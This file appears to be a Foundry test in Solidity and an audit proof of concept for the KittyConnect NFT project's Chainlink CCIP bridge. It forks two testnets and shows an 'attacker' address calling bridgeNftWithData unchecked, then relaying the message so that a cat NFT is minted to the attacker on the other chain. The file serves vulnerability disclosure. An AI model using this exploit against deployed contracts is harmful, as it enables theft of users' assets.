pragma solidity 0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {DeployKittyConnect} from "../script/DeployKittyConnect.s.sol";
import {HelperConfig} from "../script/HelperConfig.s.sol";
import {KittyConnect} from "../src/KittyConnect.sol";
import {KittyBridge, KittyBridgeBase, Client} from "../src/KittyBridge.sol";
import {IERC20} from
"@chainlink/contracts-ccip/src/v0.8/vendor/openzeppelin-solidity/v4.8.0/contracts/token/ERC20/IERC20.sol";
import {IRouterClient} from "@chainlink/contracts-ccip/src/v0.8/ccip/interfaces/IRouterClient.sol";
import {Client} from "@chainlink/contracts-ccip/src/v0.8/ccip/libraries/Client.sol";
contract BridgeTest is Test {
KittyConnect kittyConnect;
KittyBridge kittyBridge;
HelperConfig helperConfig;
HelperConfig.NetworkConfig networkConfig;
KittyConnect kittyConnectFuji;
KittyBridge kittyBridgeFuji;
HelperConfig helperConfigFuji;
HelperConfig.NetworkConfig networkConfigFuji;
address kittyConnectOwner;
address kittyConnectOwnerFuji;
address partnerA;
address partnerB;
address user;
uint256 fujiFork;
uint256 sepoliaFork;
string FUJI_RPC_URL = vm.envString("FUJI_RPC_URL");
string SEPOLIA_RPC_URL = vm.envString("SEPOLIA_RPC_URL");
address linkTokenSepolia;
address linkTokenFuji;
function setUp() external {
fujiFork = vm.createFork(FUJI_RPC_URL);
sepoliaFork = vm.createFork(SEPOLIA_RPC_URL);
vm.selectFork(fujiFork);
linkTokenFuji = 0x0b9d5D9136855f6FEc3c0993feE6E9CE8a297846;
deal(linkTokenFuji, msg.sender, 10 ether);
DeployKittyConnect deployerFuji = new DeployKittyConnect();
(kittyConnectFuji, helperConfigFuji) = deployerFuji.run();
kittyConnectOwnerFuji = kittyConnectFuji.getKittyConnectOwner();
kittyBridgeFuji = KittyBridge(kittyConnectFuji.getKittyBridge());
vm.selectFork(sepoliaFork);
linkTokenSepolia = 0x779877A7B0D9E8603169DdbD7836e478b4624789;
deal(linkTokenSepolia, msg.sender, 10 ether);
DeployKittyConnect deployer = new DeployKittyConnect();
(kittyConnect, helperConfig) = deployer.run();
networkConfig = helperConfig.getNetworkConfig();
kittyConnectOwner = kittyConnect.getKittyConnectOwner();
partnerA = kittyConnect.getKittyShopAtIdx(0);
partnerB = kittyConnect.getKittyShopAtIdx(1);
kittyBridge = KittyBridge(kittyConnect.getKittyBridge());
}
function test_bypassBridgeNftWithDataFromSepoliaToFuji() public {
address attacker = makeAddr("attacker");
bytes memory data = abi.encode(
attacker,
"Dog",
"Dog",
"ipfs://QmbxwGgBGrNdXPm84kqYskmcMT3jrzBN8LzQjixvkz4c62",
1,
address(0)
);
vm.prank(address(attacker));
bytes32 messageId =
kittyBridge.bridgeNftWithData(networkConfig.otherChainSelector, address(kittyBridgeFuji), data);
Client.Any2EVMMessage memory any2EvmMessage = Client.Any2EVMMessage({
messageId: messageId,
sourceChainSelector: networkConfig.chainSelector,
sender: abi.encode(address(kittyBridge)),
data: data,
destTokenAmounts: new Client.EVMTokenAmount[](0)
});
vm.selectFork(fujiFork);
IRouterClient router = IRouterClient(kittyBridgeFuji.getRouter());
vm.prank(kittyConnectOwnerFuji);
kittyBridgeFuji.allowlistSender(address(router), true);
vm.prank(address(router));
kittyBridgeFuji.ccipReceive(any2EvmMessage);
uint256 tokenId = kittyConnectFuji.getTokenCounter() - 1;
KittyConnect.CatInfo memory catInfo = kittyConnectFuji.getCatInfo(tokenId);
console.log("Cat name:", catInfo.catName);
console.log("Date of Birth:", catInfo.dob);
console.log("Shop Partner:", catInfo.shopPartner);
assertEq(kittyConnectFuji.ownerOf(tokenId), attacker);
}